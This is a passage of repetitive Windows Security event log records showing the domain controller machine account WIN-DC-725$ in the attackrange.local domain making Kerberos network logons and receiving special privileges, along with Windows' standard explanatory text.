RecordNumber=248343
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81D02
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248342
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81D02

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248341
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81C8A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248340
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81C8A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248339
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81C12
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248338
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81C12

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248337
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81B9A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248336
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81B9A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248335
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81B22
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248334
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81B22

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248333
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81AAA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248332
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81AAA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248331
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81A32
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248330
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81A32

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248329
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x819BC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248328
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x819BC

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248327
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x81946
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248326
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x81946

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248325
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x818D0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248324
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x818D0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248323
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8185A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248322
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8185A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:45:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248321
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x817E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{516F09E8-915A-EEAE-06B7-D42FEBA6FC38}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

